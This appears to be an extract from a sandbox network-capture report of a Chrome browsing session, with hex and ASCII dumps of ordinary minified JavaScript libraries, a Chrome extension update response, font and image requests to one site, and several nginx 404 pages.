2022-08-11 03:42:44 UTC 550 IN Data Raw: 62 72 65 61 6b 3b 6d 2e 73 74 61 74 65 54 6f 49 64 5b 62 5d 3d 63 2c 6d 2e 69 64 54 6f 53 74 61 74 65 5b 63 
5d 3d 61 7d 72 65 74 75 72 6e 20 63 7d 2c 6d 2e 6e 6f 72 6d 61 6c 69 7a 65 53 74 61 74 65 3d 66 75 6e 63 74 69 6f 6e 
28 61 29 7b 76 61 72 20 62 2c 63 3b 72 65 74 75 72 6e 20 61 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 
61 7c 7c 28 61 3d 7b 7d 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 6e 6f 72 6d 61 6c 69 7
a 65 64 3f 61 3a 28 61 2e 64 61 74 61 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 2e 64 61 74 61 7c 7c 
28 61 2e 64 61 74 61 3d 7b 7d 29 2c 62 3d 7b 7d 2c 62 2e 6e 6f 72 6d 61 6c 69 7a 65 64 3d 21 30 2c 62 2e 74 69 74 6c 
65 3d 61 2e 74 69 74 6c 65 7c 7c 22 22 2c 62 2e 75 72 6c 3d 6d 2e 67 
Data Ascii: break;m.stateToId[b]=c,m.idToState[c]=a}return c},m.normalizeState=function(a){var b,c;return a&&"object"==t
ypeof a||(a={}),"undefined"!=typeof a.normalized?a:(a.data&&"object"==typeof a.data||(a.data={}),b={},b.normalized=!0,b.
title=a.title||"",b.url=m.g

2022-08-11 03:42:44 UTC 566 IN Data Raw: 61 74 65 44 6f 74 73 28 29 2c 62 2e 6f 70 74 69 6f 6e 73 2e 61 63 63 65 73 73 69 62 69 6c 69 74 79 3d 3d 3d 
21 30 26 26 62 2e 24 6c 69 73 74 2e 70 72 6f 70 28 22 74 61 62 49 6e 64 65 78 22 2c 30 29 2c 62 2e 73 65 74 53 6c 69 
64 65 43 6c 61 73 73 65 73 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 63 75 72 72 65 6e 74 
53 6c 69 64 65 3f 74 68 69 73 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3a 30 29 2c 62 2e 6f 70 74 69 6f 6e 73 2e 64 72 6
1 67 67 61 62 6c 65 3d 3d 3d 21 30 26 26 62 2e 24 6c 69 73 74 2e 61 64 64 43 6c 61 73 73 28 22 64 72 61 67 67 61 62 
6c 65 22 29 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 65 63 6b 52 65 73 70 6f 6e 73 69 76 65 3d 66 75 6e 63 74 69 
6f 6e 28 62 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 74 68 69 73 2c 
Data Ascii: ateDots(),b.options.accessibility===!0&&b.$list.prop("tabIndex",0),b.setSlideClasses("number"==typeof this.c
urrentSlide?this.currentSlide:0),b.options.draggable===!0&&b.$list.addClass("draggable")},b.prototype.checkRes
ponsive=function(b){var c,d,e,f=this,

2022-08-11 03:42:44 UTC 582 IN Data Raw: 69 64 20 30 3d 3d 3d 62 2e 6d 73 54 72 61 6e 73 66 6f 72 6d 26 26 28 61 2e 61 6e 69 6d 54 79 70 65 3d 21 
31 29 29 2c 76 6f 69 64 20 30 21 3d 3d 62 2e 74 72 61 6e 73 66 6f 72 6d 26 26 61 2e 61 6e 69 6d 54 79 70 65 21 3d 3d 
21 31 26 26 28 61 2e 61 6e 69 6d 54 79 70 65 3d 22 74 72 61 6e 73 66 6f 72 6d 22 2c 61 2e 74 72 61 6e 73 66 6f 72 6d 5
4 79 70 65 3d 22 74 72 61 6e 73 66 6f 72 6d 22 2c 61 2e 74 72 61 6e 73 69 74 69 6f 6e 54 79 70 65 3d 22 74 72 61 6e 73 
69 74 69 6f 6e 22 29 2c 61 2e 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 3d 6e 75 6c 6c 21 3d 3d 61 2e 61 6e 
69 6d 54 79 70 65 26 26 61 2e 61 6e 69 6d 54 79 70 65 21 3d 3d 21 31 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 
74 53 6c 69 64 65 43 6c 61 73 73 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 
Data Ascii: id 0===b.msTransform&&(a.animType=!1)),void 0!==b.transform&&a.animType!==!1&&(a.animType="transfo
rm",a.transformType="transform",a.transitionType="transition"),a.transformsEnabled=null!==a.animType&&a.animTy
pe!==!1},b.prototype.setSlideClasses=function(a

2022-08-11 03:42:44 UTC 598 IN Data Raw: 64 2e 66 6f 72 6d 2c 22 76 61 6c 69 64 61 74 6f 72 22 29 2e 73 65 74 74 69 6e 67 73 2c 66 3d 65 2e 72 75 6c 
65 73 2c 67 3d 61 2e 76 61 6c 69 64 61 74 6f 72 2e 73 74 61 74 69 63 52 75 6c 65 73 28 64 29 3b 73 77 69 74 63 68 28 
62 29 7b 63 61 73 65 22 61 64 64 22 3a 61 2e 65 78 74 65 6e 64 28 67 2c 61 2e 76 61 6c 69 64 61 74 6f 72 2e 6e 6f 72 
6d 61 6c 69 7a 65 52 75 6c 65 28 63 29 29 2c 64 65 6c 65 74 65 20 67 2e 6d 65 73 73 61 67 65 73 2c 66 5b 64 2e 6e 61 
6d 65 5d 3d 67 2c 63 2e 6d 65 73 73 61 67 65 73 26 26 28 65 2e 6d 65 73 73 61 67 65 73 5b 64 2e 6e 61 6d 65 5d 3d 61 
2e 65 78 74 65 6e 64 28 65 2e 6d 65 73 73 61 67 65 73 5b 64 2e 6e 61 6d 65 5d 2c 63 2e 6d 65 73 73 61 67 65 73 29 29 
3b 62 72 65 61 6b 3b 63 61 73 65 22 72 65 6d 6f 76 65 22 3a 69 66 28 21 
Data Ascii: d.form,"validator").settings,f=e.rules,g=a.validator.staticRules(d);switch(b){case"add":a.extend(g,a.validat
or.normalizeRule(c)),delete g.messages,f[d.name]=g,c.messages&&(e.messages[d.name]=a.extend(e.messages[d.name]
,c.messages));break;case"remove":if(!

2022-08-11 03:42:44 UTC 614 IN Data Raw: 2d 5c 75 46 44 43 46 5c 75 46 44 46 30 2d 5c 75 46 46 45 46 5d 29 7c 28 25 5b 5c 64 61 2d 66 5d 7b 32 7d 29 
7c 5b 21 5c 24 26 27 5c 28 5c 29 5c 2a 5c 2b 2c 3b 3d 5d 7c 3a 7c 40 29 2b 28 5c 2f 28 28 5b 61 2d 7a 5d 7c 5c 64 7c 2d 
7c 5c 2e 7c 5f 7c 7e 7c 5b 5c 75 30 30 41 30 2d 5c 75 44 37 46 46 5c 75 46 39 30 30 2d 5c 75 46 44 43 46 5c 75 46 44 
46 30 2d 5c 75 46 46 45 46 5d 29 7c 28 25 5b 5c 64 61 2d 66 5d 7b 32 7d 29 7c 5b 21 5c 24 26 27 5c 28 5c 29 5c 2a 5c 
2b 2c 3b 3d 5d 7c 3a 7c 40 29 2a 29 2a 29 3f 29 3f 28 5c 3f 28 28 28 5b 61 2d 7a 5d 7c 5c 64 7c 2d 7c 5c 2e 7c 5f 7c 7e 
7c 5b 5c 75 30 30 41 30 2d 5c 75 44 37 46 46 5c 75 46 39 30 30 2d 5c 75 46 44 43 46 5c 75 46 44 46 30 2d 5c 75 46 46 
45 46 5d 29 7c 28 25 5b 5c 64 61 2d 66 5d 7b 32 7d 29 7c 5b 21 5c 
Data Ascii: -\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uF
DCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-
\uFFEF])|(%[\da-f]{2})|[!\

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:44 UTC 630 IN Data Raw: 55 54 43 44 61 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 61 2e 69 73 41 72 72 61 79 
28 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 61 72 67 75 6d 65 6e 74 73 3b 72 
65 74 75 72 6e 20 74 68 69 73 2e 75 70 64 61 74 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 2e 6d 61 70 28 62 2c 74 68 
69 73 2e 5f 75 74 63 5f 74 6f 5f 6c 6f 63 61 6c 29 29 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 4
4 61 74 65 22 29 2c 74 68 69 73 2e 73 65 74 56 61 6c 75 65 28 29 2c 74 68 69 73 7d 2c 73 65 74 44 61 74 65 3a 66 28 
22 73 65 74 44 61 74 65 73 22 29 2c 73 65 74 55 54 43 44 61 74 65 3a 66 28 22 73 65 74 55 54 43 44 61 74 65 73 22 29 
2c 73 65 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 
Data Ascii: UTCDates:function(){var b=a.isArray(arguments[0])?arguments[0]:arguments;return this.update.apply(
this,a.map(b,this._utc_to_local)),this._trigger("changeDate"),this.setValue(),this},setDate:f("setDates"),setUTCDate:f("
setUTCDates"),setValue:function(){var

2022-08-11 03:42:44 UTC 646 IN Data Raw: 6f 6e 74 68 73 3a 5b 22 4a 61 6e 75 61 72 79 22 2c 22 46 65 62 72 75 61 72 79 22 2c 22 4d 61 72 63 68 22 2c 
22 41 70 72 69 6c 22 2c 22 4d 61 79 22 2c 22 4a 75 6e 65 22 2c 22 4a 75 6c 79 22 2c 22 41 75 67 75 73 74 22 2c 22 53 
65 70 74 65 6d 62 65 72 22 2c 22 4f 63 74 6f 62 65 72 22 2c 22 4e 6f 76 65 6d 62 65 72 22 2c 22 44 65 63 65 6d 62 65 72 
22 5d 2c 6d 6f 6e 74 68 73 53 68 6f 72 74 3a 5b 22 4a 61 6e 22 2c 22 46 65 62 22 2c 22 4d 61 72 22 2c 22 41 70 72 22 2c 
22 4d 61 79 22 2c 22 4a 75 6e 22 2c 22 4a 75 6c 22 2c 22 41 75 67 22 2c 22 53 65 70 22 2c 22 4f 63 74 22 2c 22 4e 6f 
76 22 2c 22 44 65 63 22 5d 2c 74 6f 64 61 79 3a 22 54 6f 64 61 79 22 2c 63 6c 65 61 72 3a 22 43 6c 65 61 72 22 7d 7d 2
c 71 3d 7b 6d 6f 64 65 73 3a 5b 7b 63 6c 73 4e 61 6d 65 3a 22 64 
Data Ascii: onths:["January","February","March","April","May","June","July","August","September","October","No
vember","December"],monthsShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],toda
y:"Today",clear:"Clear"}},q={modes:[{clsName:"d

2022-08-11 03:42:44 UTC 662 IN Data Raw: 5b 64 61 74 61 2d 74 61 72 67 65 74 2d 6c 67 3d 22 23 27 2b 66 2b 27 22 5d 27 29 2c 69 3d 65 2e 6c 65 6e 
67 74 68 3f 65 3a 67 2e 6c 65 6e 67 74 68 3f 67 3a 68 2e 6c 65 6e 67 74 68 3f 68 3a 22 22 3b 69 2e 6c 65 6e 67 74 68 26 
26 69 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 63 3d 62 2e 70 61 
72 65 6e 74 28 22 6c 69 22 29 2c 64 3d 62 2e 63 6c 6f 73 65 73 74 28 22 2e 74 72 22 29 2c 65 3d 63 2e 6c 65 6e 67 74 6
8 3f 63 3a 64 2e 6c 65 6e 67 74 68 3f 64 3a 62 2c 66 3d 62 2e 61 74 74 72 28 22 64 61 74 61 2d 74 65 78 74 68 69 64 65 
22 29 3b 65 2e 61 64 64 43 6c 61 73 73 28 22 6f 70 65 6e 22 29 2c 62 2e 61 74 74 72 28 22 61 72 69 61 2d 65 78 70 61 
6e 64 65 64 22 2c 21 30 29 2c 22 22 21 3d 3d 66 26 26 62 2e 74 65 78 
Data Ascii: [data-target-lg="#'+f+'"]'),i=e.length?e:g.length?g:h.length?h:"";i.length&&i.each(function(){var b=a(this),
c=b.parent("li"),d=b.closest(".tr"),e=c.length?c:d.length?d:b,f=b.attr("data-texthide");e.addClass("open"),b.attr("aria-
expanded",!0),""!==f&&b.tex

2022-08-11 03:42:44 UTC 678 IN Data Raw: 6a 3d 62 2e 63 61 74 65 67 6f 72 69 65 73 2c 6b 3d 30 3b 6b 3c 6a 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 
61 72 20 6c 3d 6a 5b 6b 5d 2c 6d 3d 6c 2e 74 69 74 6c 65 2c 6e 3d 7b 69 64 3a 22 41 6d 47 72 61 70 68 2d 22 2b 6b 2c 
74 69 74 6c 65 3a 6d 2c 66 69 6c 6c 41 6c 70 68 61 73 3a 31 2c 63 6f 6c 75 6d 6e 57 69 64 74 68 3a 2e 36 2c 74 79 70 
65 3a 22 63 6f 6c 75 6d 6e 22 2c 76 61 6c 75 65 46 69 65 6c 64 3a 6c 2e 76 61 72 69 61 62 6c 65 2c 62 61 6c 6c 6f 6f 6e 
54 65 78 74 3a 6d 2b 22 3a 20 5b 5b 76 61 6c 75 65 5d 5d 25 22 7d 3b 69 2e 70 75 73 68 28 6e 29 7d 68 2e 67 72 61 70 
68 73 3d 69 2c 41 6d 43 68 61 72 74 73 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 41 6d 
43 68 61 72 74 73 2e 6d 61 6b 65 43 68 61 72 74 28 64 5b 30 5d 2c 68 
Data Ascii: j=b.categories,k=0;k<j.length;k++){var l=j[k],m=l.title,n={id:"AmGraph-"+k,title:m,fillAlphas:1,columnWidth:
.6,type:"column",valueField:l.variable,balloonText:m+": [[value]]%"};i.push(n)}h.graphs=i,AmCharts.ready(function(){var 
a=AmCharts.makeChart(d[0],h

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 142.250.203.206 443 192.168.11.20 65244 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:37 UTC 35 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-3GkKtYn2wcK5Q0MU3bI4Kw' 'unsafe-inline' 'strict-dynamic' http
s: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Aug 2022 03:42:37 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5700
X-Daystart: 74557
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-08-11 03:42:37 UTC 36 IN Data Raw: 32 63 61 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 37 30 
30 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 37 34 35 35 37 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 
6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 
74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 
Data Ascii: 2ca<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5700" elapsed_seconds="74557"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda" cohort="1::" cohortname=""
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2022-08-11 03:42:37 UTC 36 IN Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 
22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 
31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 
5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 
37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 
74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 
72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 
Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5
450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" 
protected="0" size="248531" status="ok" version="1.0.0.6"/></app></

2022-08-11 03:42:37 UTC 36 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

50 192.168.11.20 51145 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:43 UTC 515 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

51 192.168.11.20 61067 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:43 UTC 515 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

52 192.168.11.20 63697 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:44 UTC 516 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.ttf HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

53 192.168.11.20 51719 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:44 UTC 517 OUT GET /png/dm1ba0.png?h=73&w=55&la=en&hash=3A295843D6CCFE8B1E8E1C1EE86E9D18CC8F9326 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

54 192.168.11.20 60205 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:44 UTC 517 OUT GET /png/tmc0ce.png?h=73&w=55&la=en&hash=96F86B1DC04644EE7ED2DE1ED649AAFE79C5D556 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

55 118.27.105.118 443 192.168.11.20 51145 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:44 UTC 692 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:44 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:44 UTC 692 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

56 118.27.105.118 443 192.168.11.20 61067 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:44 UTC 692 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:44 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:44 UTC 692 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

57 118.27.105.118 443 192.168.11.20 63697 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:44 UTC 693 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:44 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:44 UTC 693 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

58 118.27.105.118 443 192.168.11.20 51719 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:44 UTC 694 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:44 GMT
Content-Type: image/png
Content-Length: 5522
Last-Modified: Sun, 19 Feb 2017 09:42:02 GMT
Connection: close
ETag: "58a9686a-1592"
Expires: Sat, 10 Sep 2022 03:42:44 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

